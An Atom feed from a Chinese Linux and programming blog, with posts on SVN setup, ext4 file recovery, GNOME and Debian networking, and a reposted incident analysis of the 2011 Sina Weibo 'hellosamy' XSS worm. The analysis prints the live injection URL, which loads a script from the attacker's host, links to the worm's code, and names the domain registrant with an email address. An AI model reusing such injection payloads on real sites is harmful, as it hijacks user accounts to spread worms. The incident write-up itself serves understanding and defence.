<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_Zealot's Blog</title><subtitle type="text">Coding life...</subtitle><id>http://feed.cnblogs.com/blog/u/1815/rss</id><updated>2011-09-09T17:47:52Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><generator>feed.cnblogs.com</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/1815/rss"/><entry><id>http://www.cnblogs.com/Zealot/archive/2011/08/26/2154652.html</id><title type="text">ubuntu下配置svn (subversion)</title><summary type="text">本文介绍在ubuntu 11.04下配置svn,并通过http协议来访问svn。一. 安装及准备首先安装svnsudo apt-get install subversion subversion-tools假设以后代码库放在/home/svnsudo mkdir /home/svn将svn目录owner更改为www-data，因为apache2是以www-data用户身份运行的.chown www-data /home/svn/ -R二. 配置svn创建库sudo svnadmin create /home/svn尝试导入文件svn import /home/zealot/projec...</summary><published>2011-08-26T07:24:00Z</published><updated>2011-08-26T07:24:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2011/08/26/2154652.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2011/08/26/2154652.html"/><content type="html">&lt;div&gt;&lt;br /&gt;本文介绍在ubuntu  11.04下配置svn,并通过http协议来访问svn。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;一. &amp;nbsp;安装及准备&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;首先安装svn&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;sudo apt-get install subversion  subversion-tools&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;假设以后代码库放在/home/svn&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;sudo mkdir /home/svn&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;将svn目录owner更改为www-data，因为apache2是以www-data用户身份运行的.&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;chown www-data /home/svn/ -R&lt;br /&gt;&lt;br /&gt;二.  配置svn&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;创建库&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;sudo svnadmin create  /home/svn&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;尝试导入文件&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;svn import /home/zealot/project/helloworld  &lt;a href="file:///home/svn"&gt;file:///home/svn&lt;/a&gt;-m "svn可以&lt;br /&gt;work了"&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;看下导入的结果&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;svn list &lt;a href="file:///home/svn"&gt;file:///home/svn&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;如果可以看到helloworld说明svn开始工作。&lt;br /&gt;&lt;br /&gt;三.  配置http dev访问&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;首先要安装apache2和apache 的一个支持svn的模块。&lt;br /&gt;&amp;nbsp;  &lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;sudo apt-get install apache2  mod_dav_svn&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;然后打开/etc/apache2/mods-available/dav_svn.conf&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;阅读一下文件的注释，很容易理解，我的配置如下：&lt;br /&gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;lt;Location /svn&amp;gt;&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;DAV svn&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;SVNPath /home/svn&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;AuthType Basic&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;AuthName "欢迎来到xxx的代码库"&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;AuthUserFile  /etc/apache2/dav_svn.passwd&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Require valid-user&lt;br /&gt;&lt;span style="visibility: hidden"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;lt;/Location&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp;  &amp;nbsp;大致意思就是启用一个虚拟目录(http dav)叫svn，对应文件系统下&lt;br /&gt;的/home/svn ,采用http验证方式授权，授权文件是&lt;br /&gt;&amp;nbsp;  &amp;nbsp;/etc/apache2/dav_svn.passwd，Require  valid-user表示不能匿名访问，保&lt;br /&gt;存后，创建这个授权文件。&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;sudo htpasswd -c  /etc/apache2/dav_svn.passwd user1&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;按提示输入两次密码。 重启apache2&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;sudo  /etc/init.d/apache2 restart&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;尝试用浏览器访问 &lt;a href="http://127.0.0.1/svn"&gt;http://127.0.0.1/svn&lt;/a&gt;如果没问题的话会要求输入用户名&lt;br /&gt;密码，登录后应该能看到刚才导入helloworld&lt;br /&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Zealot/aggbug/2154652.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Zealot/archive/2011/08/26/2154652.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2011/08/24/2152436.html</id><title type="text">恢复ext4下被删除的文件</title><summary type="text">误将 mv 敲成 rm,还用了-rf 参数，结果一大堆文件被删除。 googling,终于找到一个能用的办法。重启，切换到恢复模式，选择drop … root… 那一项。被误删除的文件放在了/home/user/Downloads, /home是 设备/dev/sda6首先umount /dev/sda6然后使用mount -r -n -o /dev/sda6 /home重新加载。然后下载extundelete，extundelete还依赖这两个包，也一并装上。sudo aptitude install e2fsprogs e2fslibs-dev解压extundelete 就make吧./c</summary><published>2011-08-24T11:14:00Z</published><updated>2011-08-24T11:14:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2011/08/24/2152436.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2011/08/24/2152436.html"/><content type="html">&lt;span class="Apple-style-span" style="color: #626566; font-family: Georgia, serif; font-size: 13px; line-height: 20px; "&gt;&lt;p&gt;误将 mv 敲成 rm,还用了-rf 参数，结果一大堆文件被删除。 googling,终于找到一个能用的办法。&lt;/p&gt;&lt;p&gt;重启，切换到恢复模式，选择drop &amp;#8230; root&amp;#8230; &amp;nbsp;那一项。&lt;/p&gt;&lt;p&gt;被误删除的文件放在了/home/user/Downloads, &amp;nbsp;/home是 设备/dev/sda6&lt;/p&gt;&lt;p&gt;首先&lt;/p&gt;&lt;blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; border-left-width: 3px; border-left-style: solid; border-left-color: #f0f0f0; "&gt;&lt;p&gt;umount /dev/sda6&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;然后使用&lt;/p&gt;&lt;blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; border-left-width: 3px; border-left-style: solid; border-left-color: #f0f0f0; "&gt;&lt;p&gt;mount -r -n -o /dev/sda6 /home&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;重新加载。&lt;/p&gt;&lt;p&gt;然后下载&amp;nbsp;&lt;a title="extundelete" target="_blank" href="http://extundelete.sourceforge.net/" style="color: #f55b2c; text-decoration: none; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #e0e2e1; margin-top: -1px; padding-top: 1px; padding-right: 0px; padding-bottom: 1px; padding-left: 0px; "&gt;extundelete&lt;/a&gt;&amp;nbsp;，extundelete还依赖这两个包，也一并装上。&lt;/p&gt;&lt;blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; border-left-width: 3px; border-left-style: solid; border-left-color: #f0f0f0; "&gt;&lt;p&gt;&amp;nbsp;&lt;span&gt;sudo aptitude install e2fsprogs e2fslibs-dev&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;span&gt;解压&amp;nbsp;&lt;/span&gt;extundelete 就make吧&lt;/p&gt;&lt;blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; border-left-width: 3px; border-left-style: solid; border-left-color: #f0f0f0; "&gt;&lt;p&gt;&lt;span&gt;&lt;span&gt;./configure&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;sudo make install&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;span&gt;&lt;span&gt;然后运行&amp;nbsp;&lt;/span&gt;&lt;/span&gt;extundelete &amp;#8212;help 先看看怎么用，至少需要需要恢复的设备。&lt;/p&gt;&lt;p&gt;我尝试&amp;nbsp;&lt;/p&gt;&lt;p&gt;extundelete &amp;nbsp;/dev/sda6 &amp;#8212;restore-files &amp;#8216;/home/user/Downloads&amp;#8217;&lt;/p&gt;&lt;p&gt;没有恢复成功，后使用&lt;/p&gt;&lt;p&gt;extundelete &amp;nbsp;/dev/sda6 &amp;#8212;restore-all&lt;/p&gt;&lt;p&gt;被恢复的文件放在当前目录下的RECOVERED_FILES目录下，被误删除的文件和目录都回来了，文件名目录名和结构都没问题，但中文名的文件乱码了。&lt;/p&gt;&lt;/span&gt;&lt;img src="http://www.cnblogs.com/Zealot/aggbug/2152436.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Zealot/archive/2011/08/24/2152436.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2011/08/21/2147721.html</id><title type="text">恢复gnome panel</title><summary type="text">不小心把gnome桌面最上面的标题栏（也就是gnome panel）给删除了，尝试恢复网上找到文章说删除 ～/.gconf 就可以恢复，进去看了下，很多桌面程序的配置文件都在这里，全部删除显然不合适。翻看这个目录下的文件，发现有个目录 ～/.gconf/apps/panel ，删除之，ctrl+alt+backspace，重新登录，pannel恢复</summary><published>2011-08-21T03:23:00Z</published><updated>2011-08-21T03:23:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2011/08/21/2147721.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2011/08/21/2147721.html"/><content type="html">&lt;p&gt;不小心把gnome桌面最上面的标题栏（也就是gnome panel）给删除了，尝试恢复&lt;/p&gt;&lt;p&gt;网上找到文章说删除 ～/.gconf 就可以恢复，进去看了下，很多桌面程序的配置文件都在这里，全部删除显然不合适。&lt;/p&gt;&lt;p&gt;翻看这个目录下的文件，发现有个目录 ～/.gconf/apps/panel ，删除之，ctrl+alt+backspace，重新登录，pannel恢复&lt;br /&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Zealot/aggbug/2147721.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Zealot/archive/2011/08/21/2147721.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2011/06/28/2092754.html</id><title type="text">[转]新浪微博攻击事件分析</title><summary type="text">本文转载自 http://bbs.unnoo.com/forum.php?mod=viewthread&amp;tid=156&amp;fromuid=2 本帖最后由 anonymous 于 2011-6-28 21:36 编辑 一、事件的经过 新浪微博突然出现大范围“中毒”，大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信，并自动关注一位名为hellosamy的用户。 事件的效果： 和 事件的经过线索如下： 20:14，开始有大量带V的认证用户中招转发蠕虫 20:30，2kt.cn</summary><published>2011-06-28T13:54:00Z</published><updated>2011-06-28T13:54:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2011/06/28/2092754.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2011/06/28/2092754.html"/><content type="html">&lt;p&gt;本文转载自 &amp;nbsp;&lt;a href="http://bbs.unnoo.com/forum.php?mod=viewthread&amp;amp;tid=156&amp;amp;fromuid=2"&gt;http://bbs.unnoo.com/forum.php?mod=viewthread&amp;amp;tid=156&amp;amp;fromuid=2&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse; color: #444444; font-family: Tahoma, Helvetica, SimSun, sans-serif; font-size: 12px; line-height: 18px; "&gt;&lt;table cellspacing="0" cellpadding="0" style="word-wrap: break-word; empty-cells: show; border-collapse: collapse; table-layout: fixed; width: 757px; "&gt;     &lt;tbody style="word-wrap: break-word; "&gt;         &lt;tr style="word-wrap: break-word; "&gt;             &lt;td class="t_f" id="postmessage_173" style="word-wrap: break-word; font-size: 14px; "&gt;&lt;em class="pstatus" style="word-wrap: break-word; display: block; margin-bottom: -30px; font-size: 12px; text-align: center; font-style: normal; line-height: 32px; color: #999999; "&gt;本帖最后由 anonymous 于 2011-6-28 21:36 编辑&lt;/em&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             &lt;strong style="word-wrap: break-word; font-weight: 700; "&gt;一、事件的经过&lt;/strong&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             新浪微博突然出现大范围&amp;#8220;中毒&amp;#8221;，大量用户自动发送&amp;#8220;建党大业中穿帮的地方&amp;#8221;、&amp;#8220;个税起征点有望提到4000&amp;#8221;、&amp;#8220;郭美美事件的一些未注意到的细节&amp;#8221;、&amp;#8220;3D肉团团高清普通话版种子&amp;#8221;等带链接的微博与私信，并自动关注一位名为hellosamy的用户。&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             事件的效果：&lt;br style="word-wrap: break-word; " /&gt;             &lt;ignore_js_op style="word-wrap: break-word; "&gt;&lt;img id="aimg_61" src="http://bbs.unnoo.com/data/attachment/forum/201106/28/213035yd8yj9yzj9yy3ksq.png" zoomfile="data/attachment/forum/201106/28/213035yd8yj9yzj9yy3ksq.png" file="data/attachment/forum/201106/28/213035yd8yj9yzj9yy3ksq.png" class="zoom" width="600" inpost="1" alt="1.png" title="1.png" initialized="true" style="word-wrap: break-word; cursor: pointer; " /&gt;&amp;nbsp;&lt;/ignore_js_op&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             和&lt;br style="word-wrap: break-word; " /&gt;             &lt;ignore_js_op style="word-wrap: break-word; "&gt;&lt;img id="aimg_60" src="http://bbs.unnoo.com/data/attachment/forum/201106/28/213008s8sooszz8lhzfpos.png" zoomfile="data/attachment/forum/201106/28/213008s8sooszz8lhzfpos.png" file="data/attachment/forum/201106/28/213008s8sooszz8lhzfpos.png" class="zoom" width="600" inpost="1" alt="4.png" title="4.png" initialized="true" style="word-wrap: break-word; cursor: pointer; " /&gt;&amp;nbsp;&lt;/ignore_js_op&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             事件的经过线索如下：&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             20:14，开始有大量带V的认证用户中招转发蠕虫&lt;br style="word-wrap: break-word; " /&gt;             20:30，2kt.cn中的病毒页面无法访问&lt;br style="word-wrap: break-word; " /&gt;             20:32，新浪微博中hellosamy用户无法访问&lt;br style="word-wrap: break-word; " /&gt;             21:02，新浪漏洞修补完毕&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             影响有多大：32961（这位hellosamy在帐号被封前的好友数量）。&lt;br style="word-wrap: break-word; " /&gt;             &lt;ignore_js_op style="word-wrap: break-word; "&gt;&lt;img id="aimg_62" src="http://bbs.unnoo.com/data/attachment/forum/201106/28/2134244rfkxrrannrswoir.jpg" zoomfile="data/attachment/forum/201106/28/2134244rfkxrrannrswoir.jpg" file="data/attachment/forum/201106/28/2134244rfkxrrannrswoir.jpg" class="zoom" width="440" inpost="1" alt="5.jpg" title="5.jpg" initialized="true" style="word-wrap: break-word; cursor: pointer; " /&gt;&amp;nbsp;&lt;/ignore_js_op&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             &lt;strong style="word-wrap: break-word; font-weight: 700; "&gt;二、采用了什么样的攻击方法&lt;/strong&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             1、利用了新浪微博存在的XSS漏洞；&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             2、使用有道提供的短域名服务（这些网址目前已经&amp;#8220;无害&amp;#8221;）；&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             例如，通过&lt;a href="http://163.fm/PxZHoxn" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;http://163.fm/PxZHoxn&lt;/a&gt;，将链接指向：&lt;br style="word-wrap: break-word; " /&gt;             &lt;a href="http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;http://weibo.com/pub/star/g/xyyy ... ript%3E?type=update&lt;/a&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             3、当新浪登陆用户不小心访问到相关网页时，由于处于登录状态，会运行这个js脚本做几件事情：&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             a.发微博（让更多的人看到这些消息，自然也就有更多人受害）；&lt;br style="word-wrap: break-word; " /&gt;             b.加关注，加uid为2201270010的用户关注&amp;#8212;&amp;#8212;这应该就是大家提到的hellosamy了；&lt;br style="word-wrap: break-word; " /&gt;             c.发私信，给好友发私信传播这些链接；&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             &lt;strong style="word-wrap: break-word; font-weight: 700; "&gt;三、攻击者是谁？&lt;/strong&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             攻击者不一定是2kt.cn的拥有者。目前暂时只能获得2kt.cn域名、网站拥有者信息如下。&lt;br style="word-wrap: break-word; " /&gt;             不排除这个网站被攻击后，服务器被人放置恶意代码。&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             通过whois查询，2kt.cn的域名拥有者信息如下：&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             注册人： 张志&lt;br style="word-wrap: break-word; " /&gt;             管理员邮件：&amp;nbsp;&lt;a href="&amp;#109;&amp;#97;&amp;#105;&amp;#108;&amp;#116;&amp;#111;&amp;#58;&amp;#108;&amp;#105;&amp;#110;&amp;#53;&amp;#48;&amp;#54;&amp;#49;&amp;#64;&amp;#103;&amp;#109;&amp;#97;&amp;#105;&amp;#108;&amp;#46;&amp;#99;&amp;#111;&amp;#109;" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;lin5061@gmail.com&lt;/a&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             通过工信部的备案查询：&lt;a href="http://www.miibeian.gov.cn/publish/query/indexFirst.action" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;http://www.miibeian.gov.cn/publish/query/indexFirst.action&lt;/a&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             网站负责人姓名：刘孝德&lt;br style="word-wrap: break-word; " /&gt;             网站备案/许可证号：苏ICP备10108026号-1&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             &lt;strong style="word-wrap: break-word; font-weight: 700; "&gt;四、为什么叫hellosamy？&lt;/strong&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             2005年，首个利用跨站点脚本缺陷的蠕虫samy被&amp;#8220;创造&amp;#8221;出来了。Samy利用网站设计方面的缺陷，创建了一份&amp;#8220;恶意&amp;#8221;的用户档案，当该用户档案被浏览时，就会自动地激活代码，将用户添加到Samy的&amp;#8220;好友&amp;#8221;列表中。另外，恶意代码还会被拷贝到用户的档案中，当其他人查看用户的档案时，蠕虫会继续传播。Samy蠕虫能够造成与拒绝服务相当的效应，会造成好友列表中好友数量呈指数级增长，最终会消耗系统的大量资源。&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             因此，这次新浪微博的蠕虫，象是在对samy蠕虫致敬&amp;nbsp;&lt;img src="http://bbs.unnoo.com/static/image/smiley/default/smile.gif" smilieid="1" border="0" alt="" style="word-wrap: break-word; " /&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             &lt;strong style="word-wrap: break-word; font-weight: 700; "&gt;五、参考信息&lt;/strong&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             samy蠕虫的传播经历与技术细节：&lt;a href="http://namb.la/popular" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;http://namb.la/popular&lt;/a&gt;，&lt;a href="http://namb.la/popular/tech.html" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;http://namb.la/popular/tech.html&lt;/a&gt;&lt;br style="word-wrap: break-word; " /&gt;             新浪hellosamy蠕虫的传播与细节：&lt;a href="http://bbs.unnoo.com/forum.php?mod=viewthread&amp;amp;tid=156&amp;amp;fromuid=2" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;http://bbs.unnoo.com/forum.php?m ... d=156&amp;amp;fromuid=2&lt;/a&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             &lt;strong style="word-wrap: break-word; font-weight: 700; "&gt;六、本次蠕虫事件中的代码下载&lt;/strong&gt;&lt;br style="word-wrap: break-word; " /&gt;             &lt;br style="word-wrap: break-word; " /&gt;             t.js下载地址：&amp;nbsp;&lt;ignore_js_op style="word-wrap: break-word; "&gt;&lt;img src="http://bbs.unnoo.com/static/image/filetype/zip.gif" border="0" class="vm" alt="" style="word-wrap: break-word; vertical-align: middle; " /&gt;&amp;nbsp;&lt;span id="attach_59" initialized="true" style="word-wrap: break-word; white-space: nowrap; "&gt;&lt;a href="http://bbs.unnoo.com/forum.php?mod=attachment&amp;amp;aid=NTl8MGFmNGE4ZTJ8MTMwOTI2ODY3MnwwfDE1Ng%3D%3D" target="_blank" style="word-wrap: break-word; color: #336699; text-decoration: underline; "&gt;06.28_sina_XSS.txt.zip&lt;/a&gt;&amp;nbsp;&lt;em class="xg1" style="word-wrap: break-word; font-style: normal; color: #666666; "&gt;(1.41 KB, 下载次数: 30)&lt;/em&gt;&lt;/span&gt;&lt;/ignore_js_op&gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;js&lt;div style="display: inline-block; "&gt;&lt;/div&gt;本站备份下载&lt;a title="http://files.cnblogs.com/Zealot/06.28_sina_XSS.txt.zip" href="http://files.cnblogs.com/Zealot/06.28_sina_XSS.txt.zip"&gt;&amp;nbsp;http://files.cnblogs.com/Zealot/06.28_sina_XSS.txt.zip&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Zealot/aggbug/2092754.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Zealot/archive/2011/06/28/2092754.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2009/09/24/1573300.html</id><title type="text">在Debian中为网卡添加路由</title><summary type="text">在debian中添加一条路由，修改/etc/network/interfaces############################################################auto loiface lo inet loopbackiface eth0 inet static address 192.168.12.12 netmask 255.255.255.0 netw...</summary><published>2009-09-24T06:49:00Z</published><updated>2009-09-24T06:49:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2009/09/24/1573300.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2009/09/24/1573300.html"/><content type="text">在debian中添加一条路由，修改/etc/network/interfaces############################################################auto loiface lo inet loopbackiface eth0 inet static address 192.168.12.12 netmask 255.255.255.0 netw...</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2009/03/31/1426745.html</id><title type="text">创业阶段软件公司的8条建议(zz)</title><summary type="text">1.要有程序代码－工作的代码是公司业务的起点。 2.要有（软件）工程背景的人做合伙人－一个既有工程背景又投入和开创公司业务的人。 3.聘用A+级的热衷于编写程序的工程师－聘用那些知道他们在“作什么”的人。 4.保持工程师团队小而精，不要把业务外包出去－大多数成功的创业阶段的软件公司都只是有几个非常优秀的工程师建立起来的。 